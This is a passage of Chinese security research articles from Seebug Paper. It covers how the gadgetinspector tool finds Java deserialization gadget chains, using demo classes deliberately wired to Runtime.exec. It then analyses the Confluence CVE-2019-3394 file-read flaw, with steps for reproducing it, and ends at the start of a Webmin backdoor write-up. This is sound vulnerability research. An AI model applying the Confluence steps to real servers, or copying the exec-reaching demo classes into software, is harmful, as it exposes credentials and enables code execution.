子类的invoke方法都可以视为source。这里还会根据具体的反序列化库决定类是否能被序列化。搜索可用的source:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566public class SimpleSourceDiscovery extends SourceDiscovery {@Overridepublic void discover(Map<ClassReference.Handle, ClassReference> classMap,Map<MethodReference.Handle, MethodReference> methodMap,InheritanceMap inheritanceMap) {final SerializableDecider serializableDecider = new SimpleSerializableDecider(inheritanceMap);for (MethodReference.Handle method : methodMap.keySet()) {if (Boolean.TRUE.equals(serializableDecider.apply(method.getClassReference()))) {if (method.getName().equals("finalize") && method.getDesc().equals("()V")) {addDiscoveredSource(new Source(method, 0));}}}// 如果类实现了readObject,则传入的ObjectInputStream被认为是污染的for (MethodReference.Handle method : methodMap.keySet()) {if (Boolean.TRUE.equals(serializableDecider.apply(method.getClassReference()))) {if (method.getName().equals("readObject") && method.getDesc().equals("(Ljava/io/ObjectInputStream;)V")) {addDiscoveredSource(new Source(method, 1));}}}// 使用代理技巧时,任何扩展了serializable and InvocationHandler的类会受到污染。for (ClassReference.Handle clazz : classMap.keySet()) {if (Boolean.TRUE.equals(serializableDecider.apply(clazz))&& inheritanceMap.isSubclassOf(clazz, new ClassReference.Handle("java/lang/reflect/InvocationHandler"))) {MethodReference.Handle method = new MethodReference.Handle(clazz, "invoke", "(Ljava/lang/Object;Ljava/lang/reflect/Method;[Ljava/lang/Object;)Ljava/lang/Object;");addDiscoveredSource(new Source(method, 0));}}// hashCode()或equals()是将对象放入HashMap的标准技巧的可访问入口点for (MethodReference.Handle method : methodMap.keySet()) {if (Boolean.TRUE.equals(serializableDecider.apply(method.getClassReference()))) {if (method.getName().equals("hashCode") && method.getDesc().equals("()I")) {addDiscoveredSource(new Source(method, 0));}if (method.getName().equals("equals") && method.getDesc().equals("(Ljava/lang/Object;)Z")) {addDiscoveredSource(new Source(method, 0));addDiscoveredSource(new Source(method, 1));}}}// 使用比较器代理,可以跳转到任何groovy Closure的call()/doCall()方法,所有的args都被污染// https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Groovy1.javafor (MethodReference.Handle method : methodMap.keySet()) {if (Boolean.TRUE.equals(serializableDecider.apply(method.getClassReference()))&& inheritanceMap.isSubclassOf(method.getClassReference(), new ClassReference.Handle("groovy/lang/Closure"))&& (method.getName().equals("call") || method.getName().equals("doCall"))) {addDiscoveredSource(new Source(method, 0));Type[] methodArgs = Type.getArgumentTypes(method.getDesc());for (int i = 0; i < methodArgs.length; i++) {addDiscoveredSource(new Source(method, i + 1));}}}}...这一步的结果会保存在文件sources.dat中:
Step5 搜索生成调用链
这一步会遍历全部的source,并在callgraph.dat中递归查找所有可以继续传递污点参数的子方法调用,直至遇到sink中的方法。
搜索生成调用链:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120public class GadgetChainDiscovery {private static final Logger LOGGER = LoggerFactory.getLogger(GadgetChainDiscovery.class);private final GIConfig config;public GadgetChainDiscovery(GIConfig config) {this.config = config;}public void discover() throws Exception {Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();InheritanceMap inheritanceMap = InheritanceMap.load();Map<MethodReference.Handle, Set<MethodReference.Handle>> methodImplMap = InheritanceDeriver.getAllMethodImplementations(inheritanceMap, methodMap);//得到方法的所有子类方法实现(被子类重写的方法)final ImplementationFinder implementationFinder = config.getImplementationFinder(methodMap, methodImplMap, inheritanceMap);//将方法的所有子类方法实现保存到methodimpl.dattry (Writer writer = Files.newBufferedWriter(Paths.get("methodimpl.dat"))) {for (Map.Entry<MethodReference.Handle, Set<MethodReference.Handle>> entry : methodImplMap.entrySet()) {writer.write(entry.getKey().getClassReference().getName());writer.write("\t");writer.write(entry.getKey().getName());writer.write("\t");writer.write(entry.getKey().getDesc());writer.write("\n");for (MethodReference.Handle method : entry.getValue()) {writer.write("\t");writer.write(method.getClassReference().getName());writer.write("\t");writer.write(method.getName());writer.write("\t");writer.write(method.getDesc());writer.write("\n");}}}//方法调用map,key为父方法,value为子方法与父方法参数传递关系Map<MethodReference.Handle, Set<GraphCall>> graphCallMap = new HashMap<>();for (GraphCall graphCall : DataLoader.loadData(Paths.get("callgraph.dat"), new GraphCall.Factory())) {MethodReference.Handle caller = graphCall.getCallerMethod();if (!graphCallMap.containsKey(caller)) {Set<GraphCall> graphCalls = new HashSet<>();graphCalls.add(graphCall);graphCallMap.put(caller, graphCalls);} else {graphCallMap.get(caller).add(graphCall);}}//exploredMethods保存在调用链从查找过程中已经访问过的方法节点,methodsToExplore保存调用链Set<GadgetChainLink> exploredMethods = new HashSet<>();LinkedList<GadgetChain> methodsToExplore = new LinkedList<>();//加载所有sources,并将每个source作为每条链的第一个节点for (Source source : DataLoader.loadData(Paths.get("sources.dat"), new Source.Factory())) {GadgetChainLink srcLink = new GadgetChainLink(source.getSourceMethod(), source.getTaintedArgIndex());if (exploredMethods.contains(srcLink)) {continue;}methodsToExplore.add(new GadgetChain(Arrays.asList(srcLink)));exploredMethods.add(srcLink);}long iteration = 0;Set<GadgetChain> discoveredGadgets = new HashSet<>();//使用广度优先搜索所有从source到sink的调用链while (methodsToExplore.size() > 0) {if ((iteration % 1000) == 0) {LOGGER.info("Iteration " + iteration + ", Search space: " + methodsToExplore.size());}iteration += 1;GadgetChain chain = methodsToExplore.pop();//从队首弹出一条链GadgetChainLink lastLink = chain.links.get(chain.links.size()-1);//取这条链最后一个节点Set<GraphCall> methodCalls = graphCallMap.get(lastLink.method);//获取当前节点方法所有子方法与当前节点方法参数传递关系if (methodCalls != null) {for (GraphCall graphCall : methodCalls) {if (graphCall.getCallerArgIndex() != lastLink.taintedArgIndex) {//如果当前节点方法的污染参数与当前子方法受父方法参数影响的Index不一致则跳过continue;}Set<MethodReference.Handle> allImpls = implementationFinder.getImplementations(graphCall.getTargetMethod());//获取子方法所在类的所有子类重写方法for (MethodReference.Handle methodImpl : allImpls) {GadgetChainLink newLink = new GadgetChainLink(methodImpl, graphCall.getTargetArgIndex());//新方法节点if (exploredMethods.contains(newLink)) {//如果新方法已近被访问过了,则跳过,这里能减少开销。但是这一步跳过会使其他链/分支链经过此节点时,由于已经此节点被访问过了,链会在这里断掉。那么如果这个条件去掉就能实现找到所有链了吗?这里去掉会遇到环状问题,造成路径无限增加...continue;}GadgetChain newChain = new GadgetChain(chain, newLink);//新节点与之前的链组成新链if (isSink(methodImpl, graphCall.getTargetArgIndex(), inheritanceMap)) {//如果到达了sink,则加入discoveredGadgetsdiscoveredGadgets.add(newChain);} else {//新链加入队列methodsToExplore.add(newChain);//新节点加入已访问集合exploredMethods.add(newLink);}}}}}//保存搜索到的利用链到gadget-chains.txttry (OutputStream outputStream = Files.newOutputStream(Paths.get("gadget-chains.txt"));Writer writer = new OutputStreamWriter(outputStream, StandardCharsets.UTF_8)) {for (GadgetChain chain : discoveredGadgets) {printGadgetChain(writer, chain);}}LOGGER.info("Found {} gadget chains.", discoveredGadgets.size());}...作者给出的sink方法:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879private boolean isSink(MethodReference.Handle method, int argIndex, InheritanceMap inheritanceMap) {if (method.getClassReference().getName().equals("java/io/FileInputStream")&& method.getName().equals("<init>")) {return true;}if (method.getClassReference().getName().equals("java/io/FileOutputStream")&& method.getName().equals("<init>")) {return true;}if (method.getClassReference().getName().equals("java/nio/file/Files")&& (method.getName().equals("newInputStream")|| method.getName().equals("newOutputStream")|| method.getName().equals("newBufferedReader")|| method.getName().equals("newBufferedWriter"))) {return true;}if (method.getClassReference().getName().equals("java/lang/Runtime")&& method.getName().equals("exec")) {return true;}/*if (method.getClassReference().getName().equals("java/lang/Class")&& method.getName().equals("forName")) {return true;}if (method.getClassReference().getName().equals("java/lang/Class")&& method.getName().equals("getMethod")) {return true;}*/// If we can invoke an arbitrary method, that's probably interesting (though this doesn't assert that we// can control its arguments). Conversely, if we can control the arguments to an invocation but not what// method is being invoked, we don't mark that as interesting.if (method.getClassReference().getName().equals("java/lang/reflect/Method")&& method.getName().equals("invoke") && argIndex == 0) {return true;}if (method.getClassReference().getName().equals("java/net/URLClassLoader")&& method.getName().equals("newInstance")) {return true;}if (method.getClassReference().getName().equals("java/lang/System")&& method.getName().equals("exit")) {return true;}if (method.getClassReference().getName().equals("java/lang/Shutdown")&& method.getName().equals("exit")) {return true;}if (method.getClassReference().getName().equals("java/lang/Runtime")&& method.getName().equals("exit")) {return true;}if (method.getClassReference().getName().equals("java/nio/file/Files")&& method.getName().equals("newOutputStream")) {return true;}if (method.getClassReference().getName().equals("java/lang/ProcessBuilder")&& method.getName().equals("<init>") && argIndex > 0) {return true;}if (inheritanceMap.isSubclassOf(method.getClassReference(), new ClassReference.Handle("java/lang/ClassLoader"))&& method.getName().equals("<init>")) {return true;}if (method.getClassReference().getName().equals("java/net/URL") && method.getName().equals("openStream")) {return true;}// Some groovy-specific sinksif (method.getClassReference().getName().equals("org/codehaus/groovy/runtime/InvokerHelper")&& method.getName().equals("invokeMethod") && argIndex == 1) {return true;}if (inheritanceMap.isSubclassOf(method.getClassReference(), new ClassReference.Handle("groovy/lang/MetaClass"))&& Arrays.asList("invokeMethod", "invokeConstructor", "invokeStaticMethod").contains(method.getName())) {return true;}return false;}对于每个入口节点来说,其全部子方法调用、孙子方法调用等等递归下去,就构成了一棵树。之前的步骤所做的,就相当于生成了这颗树,而这一步所做的,就是从根节点出发,找到一条通往叶子节点的道路,使得这个叶子节点正好是我们所期望的sink方法。gadgetinspector对树的遍历采用的是广度优先(BFS),而且对于已经检查过的节点会直接跳过,这样减少了运行开销,避免了环路,但是丢掉了很多其他链。
这个过程看起来就像下面这样:
通过污点的传递,最终找到从source->sink的利用链
注:targ表示污染参数的index,0->1这样的表示父方法的0参传递给了子方法的1参
样例分析
现在根据作者的样例写个具体的demo实例来测试下上面这些步骤。
demo如下:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103IFn.java:package com.demo.ifn;import java.io.IOException;public interface IFn {public Object invokeCall(Object arg) throws IOException;}FnEval.javapackage com.demo.ifn;import java.io.IOException;import java.io.Serializable;public class FnEval implements IFn, Serializable {public FnEval() {}public Object invokeCall(Object arg) throws IOException {return Runtime.getRuntime().exec((String) arg);}}FnConstant.java:package com.demo.ifn;import java.io.Serializable;public class FnConstant implements IFn , Serializable {private Object value;public FnConstant(Object value) {this.value = value;}public Object invokeCall(Object arg) {return value;}}FnCompose.java:package com.demo.ifn;import java.io.IOException;import java.io.Serializable;public class FnCompose implements IFn, Serializable {private IFn f1, f2;public FnCompose(IFn f1, IFn f2) {this.f1 = f1;this.f2 = f2;}public Object invokeCall(Object arg) throws IOException {return f2.invokeCall(f1.invokeCall(arg));}}TestDemo.java:package com.demo.ifn;public class TestDemo {//测试拓扑排序的正确性private String test;public String pMethod(String arg){String vul = cMethod(arg);return vul;}public String cMethod(String arg){return arg.toUpperCase();}}AbstractTableModel.java:package com.demo.model;import com.demo.ifn.IFn;import java.io.IOException;import java.io.Serializable;import java.util.HashMap;public class AbstractTableModel implements Serializable {private HashMap<String, IFn> __clojureFnMap;public AbstractTableModel(HashMap<String, IFn> clojureFnMap) {this.__clojureFnMap = clojureFnMap;}public int hashCode() {IFn f = __clojureFnMap.get("hashCode");try {f.invokeCall(this);} catch (IOException e) {e.printStackTrace();}return this.__clojureFnMap.hashCode() + 1;}}注:下面截图中数据的顺序做了调换,同时数据也只给出com/demo中的数据
Step1 枚举全部类及每个类所有方法
classes.dat:
methods.dat:
Step2 生成passthrough数据流
passthrough.dat:
可以看到IFn的子类中只有FnConstant的invokeCall在passthrough数据流中,因为其他几个在静态分析中无法判断返回值与参数的关系。同时TestDemo的cMethod与pMethod都在passthrough数据流中,这也说明了拓扑排序那一步的必要性和正确性。
Step3 枚举passthrough调用图
callgraph.dat:
Step4 搜索可用的source
sources.dat:
Step5 搜索生成调用链
在gadget-chains.txt中找到了如下链:
123com/demo/model/AbstractTableModel.hashCode()I (0)com/demo/ifn/FnEval.invokeCall(Ljava/lang/Object;)Ljava/lang/Object; (1)java/lang/Runtime.exec(Ljava/lang/String;)Ljava/lang/Process; (1)可以看到选择的确实是找了一条最短的路径,并没有经过FnCompose、FnConstant路径。
环路造成路径爆炸
上面流程分析第五步中说到,如果去掉已访问过节点的判断会怎么样呢,能不能生成经过FnCompose、FnConstant的调用链呢?
陷入了爆炸状态,Search space无限增加,其中必定存在环路。作者使用的策略是访问过的节点就不再访问了,这样解决的环路问题,但是丢失了其他链。
比如上面的FnCompose类:
123456public class Fncompose implements IFn{private IFn f1,f2;public Object invoke(Object arg){return f2.invoke(f1.invoke(arg));}}由于IFn是接口,所以在调用链生成中会查找是它的子类,假如f1,f2都是FnCompose类的对象,这样形成了环路。
隐式调用
测试隐式调用看工具能否发现,将FnEval.java做一些修改:
123456789101112131415161718192021222324252627FnEval.javapackage com.demo.ifn;import java.io.IOException;import java.io.Serializable;public class FnEval implements IFn, Serializable {private String cmd;public FnEval() {}@Overridepublic String toString() {try {Runtime.getRuntime().exec(this.cmd);} catch (IOException e) {e.printStackTrace();}return "FnEval{}";}public Object invokeCall(Object arg) throws IOException {this.cmd = (String) arg;return this + " test";}}结果:
123456com/demo/model/AbstractTableModel.hashCode()I (0)com/demo/ifn/FnEval.invokeCall(Ljava/lang/Object;)Ljava/lang/Object; (0)java/lang/StringBuilder.append(Ljava/lang/Object;)Ljava/lang/StringBuilder; (1)java/lang/String.valueOf(Ljava/lang/Object;)Ljava/lang/String; (0)com/demo/ifn/FnEval.toString()Ljava/lang/String; (0)java/lang/Runtime.exec(Ljava/lang/String;)Ljava/lang/Process; (1)隐式调用了tostring方法,说明在字节码分析中做了查找隐式调用这一步。
不遵循反射调用
在github的工具说明中,作者也说到了在静态分析中这个工具的盲点,像下面这中
FnEval.class.getMethod("exec", String.class).invoke(null, arg)
写法是不遵循反射调用的,将FnEval.java修改:1234567891011121314151617181920212223242526272829FnEval.javapackage com.demo.ifn;import java.io.IOException;import java.io.Serializable;import java.lang.reflect.InvocationTargetException;public class FnEval implements IFn, Serializable {public FnEval() {}public static void exec(String arg) throws IOException {Runtime.getRuntime().exec(arg);}public Object invokeCall(Object arg) throws IOException {try {return FnEval.class.getMethod("exec", String.class).invoke(null, arg);} catch (NoSuchMethodException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();} catch (InvocationTargetException e) {e.printStackTrace();}return null;}}经过测试,确实没有发现。但是将
FnEval.class.getMethod("exec", String.class).invoke(null, arg)
改为this.getClass().getMethod("exec", String.class).invoke(null, arg)
这种写法却是可以发现的。特殊语法
测试一下比较特殊的语法呢,比如lambda语法?将FnEval.java做一些修改:
12345678910111213141516171819202122FnEval.java:package com.demo.ifn;import java.io.IOException;import java.io.Serializable;public class FnEval implements IFn, Serializable {public FnEval() {}interface ExecCmd {public Object exec(String cmd) throws IOException;}public Object invokeCall(Object arg) throws IOException {ExecCmd execCmd = cmd -> {return Runtime.getRuntime().exec(cmd);};return execCmd.exec((String) arg);}}经过测试,没有检测到这条利用链。说明目前语法分析那一块还没有对特殊语法分析。
匿名内部类
测试匿名内部类,将FnEval.java做一些修改:
12345678910111213141516171819202122232425262728FnEval.java:package com.demo.ifn;import java.io.IOException;import java.io.Serializable;public class FnEval implements IFn, Serializable {public FnEval() {}interface ExecCmd {public Object exec(String cmd) throws IOException;}public Object callExec(ExecCmd execCmd, String cmd) throws IOException {return execCmd.exec(cmd);}public Object invokeCall(Object arg) throws IOException {return callExec(new ExecCmd() {@Overridepublic Object exec(String cmd) throws IOException {return Runtime.getRuntime().exec(cmd);}}, (String) arg);}}经过测试,没有检测到这条利用链。说明目前语法分析那一块还没有对匿名内部类的分析。
sink->source?
既然能source->sink,那么能不能sink->source呢?因为搜索source->sink时,source和sink都是已知的,如果搜索sink->source时,sink与soure也是已知的,那么source->sink与sink->source好像没有什么区别?如果能将source总结为参数可控的一类特征,那么sink->source这种方式是一种非常好的方式,不仅能用在反序列化漏洞中,还能用在其他漏洞中(例如模板注入)。但是这里也还有一些问题,比如反序列化是将this以及类的属性都当作了0参,因为反序列化时这些都是可控的,但是在其他漏洞中这些就不一定可控了。
目前还不知道具体如何实现以及会有哪些问题,暂时先不写。
缺陷
目前还没有做过大量测试,只是从宏观层面分析了这个工具的大致原理。结合平安集团分析文章以及上面的测试目前可以总结出一下几个缺点(不止这些缺陷):
- callgraph生成不完整
- 调用链搜索结果不完整,这是由于查找策略导致的
- 一些特殊语法、匿名内部类还不支持
- ...
设想与改进
- 对以上几个缺陷进行改进
- 结合已知的利用链(如ysoserial等)不断测试
- 尽可能列出所有链并结合人工筛选判断,而作者使用的策略是只要经过这个节点有一条链,其他链经过这个节点时就不再继续寻找下去。主要解决的就是最后那个调用链环路问题,目前看到几种方式:
- DFS+最大深度限制
- 继续使用BFS,人工检查生成的调用链,把无效的callgraph去掉,重复运行
- 调用链缓存(这一个暂时还没明白具体怎么解决环路的,只是看到了这个方法)
我的想法是在每条链中维持一个黑名单,每次都检查是否出现了环路,如果在这条链中出现了环路,将造成环路的节点加入黑名单,继续使其走下去。当然虽然没有了环,也能会出现路径无限增长的情况,所以还是需要加入路径长度限制。
- 尝试sink->source的实现
- 多线程同时搜索多条利用链加快速度
- ...
最后
在原理分析的时候,忽略了字节码分析的细节,有的地方只是暂时猜测与测试得出的结果,所以可能存在一些错误。字节码分析那一块是很重要的一环,它对污点的判断、污点的传递调用等起着很重要的作用,如果这些部分出现了问题,整个搜索过程就会出现问题。由于ASM框架对使用人员要求较高,所以需要要掌握JVM相关的知识才能较好使用ASM框架,所以接下来的就是开始学习JVM相关的东西。这篇文章只是从宏观层面分析这个工具的原理,也算是给自己增加些信心,至少明白这个工具不是无法理解和无法改进的,同时后面再接触这个工具进行改进时也会间隔一段时间,回顾起来也方便,其他人如果对这个工具感兴趣也可以参考。等以后熟悉并能操纵Java字节码了,在回头来更新这篇文章并改正可能有错误的地方。
如果这些设想与改进真的实现并且进行了验证,那么这个工具真的是一个得力帮手。但是这些东西要实现还有较长的一段路要走,还没开始实现就预想到了那么多问题,在实现的时候会遇到更多问题。不过好在有一个大致的方向了,接下来就是对各个环节逐一解决了。
参考
- https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdf
- https://www.youtube.com/watch?v=wPbW6zQ52w8
- https://mp.weixin.qq.com/s/RD90-78I7wRogdYdsB-UOg
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1034/
-
Confluence 文件读取漏洞(CVE-2019-3394)分析
Author: Badcode@知道创宇404实验室
Date: 2019/08/29
英文版本: https://paper.seebug.org/1026/前言
下午 @fnmsd 师傅发了个 Confluence 的预警给我,我看了下补丁,复现了这个漏洞,本篇文章记录下这个漏洞的应急过程。
看下描述,Confluence Server 和 Data Center 在页面导出功能中存在本地文件泄露漏洞:具有“添加页面”空间权限的远程攻击者,能够读取
<install-directory>/confluence/WEB-INF/
目录下的任意文件。该目录可能包含用于与其他服务集成的配置文件,可能会泄漏认证凭据,例如 LDAP 认证凭据或其他敏感信息。和之前应急过的一个漏洞一样,跳不出WEB目录,因为 confluence 的 web 目录和 data 目录一般是分开的,用户的配置一般保存在 data 目录,所以感觉危害有限。漏洞影响
- 6.1.0 <= version < 6.6.16
- 6.7.0 <= version < 6.13.7
- 6.14.0 <= version < 6.15.8
补丁对比
看到漏洞描述,触发点是在导出 Word 操作上,先找到页面的这个功能。
接着看下代码层面,补丁是补在什么地方。
6.13.7是6.13.x的最新版,所以我下载了6.13.6和6.13.7来对比。
去除一些版本号变动的干扰,把目光放在
confluence-6.13.x.jar
上,比对一下对比两个jar包,看到有个 importexport 目录里面有内容变化了,结合之前的漏洞描述,是由于导出Word触发的漏洞,所以补丁大概率在这里。 importexport 目录下面有个
PackageResourceManager
发生了变化,解开来对比一下。看到关键函数
getResourceReader
,resource = this.resourceAccessor.getResource(relativePath);
,看起来就是获取文件资源的,relativePath
的值是/WEB-INF
拼接resourcePath.substring(resourcePath.indexOf(BUNDLE_PLUGIN_PATH_REQUEST_PREFIX))
而来的,而resourcePath
是外部传入的,看到这里,也能大概猜出来了,应该是resourcePath
可控,拼接/WEB-INF
,然后调用getResource
读取文件了。流程分析
找到了漏洞最终的触发点,接下来就是找到触发点的路径了。之后我试着在页面插入各种东西,然后导出 Word,尝试着跳到这个地方,都失败了。最后我在跟踪插入图片时发现跳到了相近的地方,最后通过构造图片链接成功跳到触发点。
首先看到
com.atlassian.confluence.servlet.ExportWordPageServer
的service
方法。123456789101112131415161718192021222324public void service(SpringManagedServlet springManagedServlet, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {String pageIdParameter = request.getParameter("pageId");Long pageId = null;if (pageIdParameter != null) {try {pageId = Long.parseLong(pageIdParameter);} catch (NumberFormatException var7) {response.sendError(404, "Page not found: " + pageId);}} else {response.sendError(404, "A valid page id was not specified");}if (pageId != null) {AbstractPage page = this.pageManager.getAbstractPage(pageId);if (this.permissionManager.hasPermission(AuthenticatedUserThreadLocal.get(), Permission.VIEW, page)) {if (page != null && page.isCurrent()) {this.outputWordDocument(page, request, response);} else {response.sendError(404);}......}在导出 Word 的时候,首先会获取到被导出页面的
pageId
,之后获取页面的内容,接着判断是否有查看权限,跟进this.outputWordDocument
123456789101112131415161718private void outputWordDocument(AbstractPage page, HttpServletRequest request, HttpServletResponse response) throws IOException {......try {ServletActionContext.setRequest(request);ServletActionContext.setResponse(response);String renderedContent = this.viewBodyTypeAwareRenderer.render(page, new DefaultConversionContext(context));Map<String, DataSource> imagesToDatasourceMap = this.extractImagesFromPage(renderedContent);renderedContent = this.transformRenderedContent(imagesToDatasourceMap, renderedContent);Map<String, Object> paramMap = new HashMap();paramMap.put("bootstrapManager", this.bootstrapManager);paramMap.put("page", page);paramMap.put("pixelsPerInch", 72);paramMap.put("renderedPageContent", new HtmlFragment(renderedContent));String renderedTemplate = VelocityUtils.getRenderedTemplate("/pages/exportword.vm", paramMap);MimeMessage mhtmlOutput = this.constructMimeMessage(renderedTemplate, imagesToDatasourceMap.values());mhtmlOutput.writeTo(response.getOutputStream());......前面会设置一些 header 之类的,然后将页面的内容渲染,返回
renderedContent
,之后交给this.extractImagesFromPage
处理123456789101112131415private Map<String, DataSource> extractImagesFromPage(String renderedHtml) throws XMLStreamException, XhtmlException {Map<String, DataSource> imagesToDatasourceMap = new HashMap();Iterator var3 = this.excerpter.extractImageSrc(renderedHtml, MAX_EMBEDDED_IMAGES).iterator();while(var3.hasNext()) {String imgSrc = (String)var3.next();try {if (!imagesToDatasourceMap.containsKey(imgSrc)) {InputStream inputStream = this.createInputStreamFromRelativeUrl(imgSrc);if (inputStream != null) {ByteArrayDataSource datasource = new ByteArrayDataSource(inputStream, this.mimetypesFileTypeMap.getContentType(imgSrc));datasource.setName(DigestUtils.md5Hex(imgSrc));imagesToDatasourceMap.put(imgSrc, datasource);......这个函数的功能是提取页面中的图片,当被导出的页面包含图片时,将图片的链接提取出来,交给
this.createInputStreamFromRelativeUrl
处理12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849private InputStream createInputStreamFromRelativeUrl(String uri) {if (uri.startsWith("file:")) {return null;} else {Matcher matcher = RESOURCE_PATH_PATTERN.matcher(uri);String relativeUri = matcher.replaceFirst("/");String decodedUri = relativeUri;try {decodedUri = URLDecoder.decode(relativeUri, "UTF8");} catch (UnsupportedEncodingException var9) {log.error("Can't decode uri " + uri, var9);}if (this.pluginResourceLocator.matches(decodedUri)) {Map<String, String> queryParams = UrlUtil.getQueryParameters(decodedUri);decodedUri = this.stripQueryString(decodedUri);DownloadableResource resource = this.pluginResourceLocator.getDownloadableResource(decodedUri, queryParams);try {ByteArrayOutputStream outputStream = new ByteArrayOutputStream();resource.streamResource(outputStream);return new ByteArrayInputStream(outputStream.toByteArray());} catch (DownloadException var11) {log.error("Unable to serve plugin resource to word export : uri " + uri, var11);}} else if (this.downloadResourceManager.matches(decodedUri)) {String userName = AuthenticatedUserThreadLocal.getUsername();String strippedUri = this.stripQueryString(decodedUri);DownloadResourceReader downloadResourceReader = this.getResourceReader(decodedUri, userName, strippedUri);if (downloadResourceReader == null) {strippedUri = this.stripQueryString(relativeUri);downloadResourceReader = this.getResourceReader(relativeUri, userName, strippedUri);}if (downloadResourceReader != null) {try {return downloadResourceReader.getStreamForReading();} catch (Exception var10) {log.warn("Could not retrieve image resource {} during Confluence word export :{}", decodedUri, var10.getMessage());if (log.isDebugEnabled()) {log.warn("Could not retrieve image resource " + decodedUri + " during Confluence word export :" + var10.getMessage(), var10);}}}} else if (uri.startsWith("data:")) {return this.streamDataUrl(uri);}.....这个函数就是获取图片资源的,会对不同格式的图片链接进行不同的处理,这里重点是
this.downloadResourceManager.matches(decodedUri)
,当跟到这里的时候,此时的this.downloadResourceManager
是DelegatorDownloadResourceManager
,并且下面有6个downloadResourceManager
,其中就有我们想要的PackageResourceManager
。跟到
DelegatorDownloadResourceManager
的matches
方法。1234567891011public boolean matches(String resourcePath) {return !this.managersForResource(resourcePath).isEmpty();}......private List<DownloadResourceManager> managersForResource(String resourcePath) {return (List)this.downloadResourceManagers.stream().filter((manager) -> {return manager.matches(resourcePath) || manager.matches(resourcePath.toLowerCase());}).collect(Collectors.toList());}matches
方法会调用managersForResource
方法,分别调用每个downloadResourceManager
的matches
方法去匹配resourcePath
,只要有一个downloadResourceManager
匹配上了,就返回 true。来看下PackageResourceManager
的matches
方法1234567891011public PackageResourceManager(ResourceAccessor resourceAccessor) {this.resourceAccessor = resourceAccessor;}public boolean matches(String resourcePath) {return resourcePath.startsWith(BUNDLE_PLUGIN_PATH_REQUEST_PREFIX);}static {BUNDLE_PLUGIN_PATH_REQUEST_PREFIX = DownloadResourcePrefixEnum.PACKAGE_DOWNLOAD_RESOURCE_PREFIX.getPrefix();}resourcePath
要以BUNDLE_PLUGIN_PATH_REQUEST_PREFIX
开头才返回true,看下BUNDLE_PLUGIN_PATH_REQUEST_PREFIX
,是DownloadResourcePrefixEnum
中的PACKAGE_DOWNLOAD_RESOURCE_PREFIX
,也就是/packages
。12345public enum DownloadResourcePrefixEnum {ATTACHMENT_DOWNLOAD_RESOURCE_PREFIX("/download/attachments"),THUMBNAIL_DOWNLOAD_RESOURCE_PREFIX("/download/thumbnails"),ICON_DOWNLOAD_RESOURCE_PREFIX("/images/icons"),PACKAGE_DOWNLOAD_RESOURCE_PREFIX("/packages");所以,
resourcePath
要以/packages
开头才会返回true。回到
createInputStreamFromRelativeUrl
方法中,当有downloadResourceManager
匹配上了decodedUri
,就会进入分支。继续调用DownloadResourceReader downloadResourceReader = this.getResourceReader(decodedUri, userName, strippedUri);
12345678910111213private DownloadResourceReader getResourceReader(String uri, String userName, String strippedUri) {DownloadResourceReader downloadResourceReader = null;try {downloadResourceReader = this.downloadResourceManager.getResourceReader(userName, strippedUri, UrlUtil.getQueryParameters(uri));} catch (UnauthorizedDownloadResourceException var6) {log.debug("Not authorized to download resource " + uri, var6);} catch (DownloadResourceNotFoundException var7) {log.debug("No resource found for url " + uri, var7);}return downloadResourceReader;}跳到
DelegatorDownloadResourceManager
中的getResourceReader
1234public DownloadResourceReader getResourceReader(String userName, String resourcePath, Map parameters) throws DownloadResourceNotFoundException, UnauthorizedDownloadResourceException {List<DownloadResourceManager> matchedManagers = this.managersForResource(resourcePath);return matchedManagers.isEmpty() ? null : ((DownloadResourceManager)matchedManagers.get(0)).getResourceReader(userName, resourcePath, parameters);}这里会继续调用
managersForResource
去调用每个downloadResourceManager
的matches
方法去匹配resourcePath
,如果匹配上了,就继续调用对应的downloadResourceManager
的getResourceReader
方法。到了这里,就把之前的都串起来了,如果我们让PackageResourceManager
中的matches
方法匹配上了resourcePath
,那么这里就会继续调用PackageResourceManager
中的getResourceReader
方法,也就是漏洞的最终触发点。所以要进入到这里,resourcePath
必须是以/packages
开头。整个流程图大概如下
构造
流程分析清楚了,现在就剩下怎么构造了。我们要插入一张链接以
/packages
开头的图片。新建一个页面,插入一张网络图片
不能直接保存,直接保存的话插入的图像链接会自动拼接上网站地址,所以在保存的时候要使用 burpsuite 把自动拼接的网站地址去掉。
发布时,抓包
去掉网址
发布之后,可以看到,图片链接成功保存下来了
最后点击 导出 Word 触发漏洞即可。成功读取数据后会保存到图片中,然后放到 Word 文档里面,由于无法正常显示,所以使用 burp 来查看返回的数据。
成功读取到了
/WEB-INF/web.xml
的内容。其他
这个漏洞是无法跳出web目录去读文件的,
getResource
最后是会调到org.apache.catalina.webresources.StandardRoot
里面的getResource
方法,这里面有个validate
函数,对路径有限制和过滤,导致无法跳到/WEB-INF/
的上一层目录,最多跳到同层目录。有兴趣的可以去跟一下。利用 Pocsuite3 演示该漏洞: https://images.seebug.org/archive/CVE-2019-3394.mp4
参考链接
Local File Disclosure via Word Export in Confluence Server - CVE-2019-3394
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1025/
-
Webmin(CVE-2019-15107) 远程代码执行漏洞之 backdoor 探究
作者:Ethan@知道创宇404实验室
时间:2019年8月21日
漏洞概述
Webmin是一个基于Web的界面,用于Unix的系统管理。使用任何支持表和表单的浏览器,可以设置用户帐户,Apache,DNS,文件共享等。
2019年8月10日,在pentest上发布了Webmin CVE-2019-15107远程代码执行漏洞。
该漏洞由于
password_change.cgi
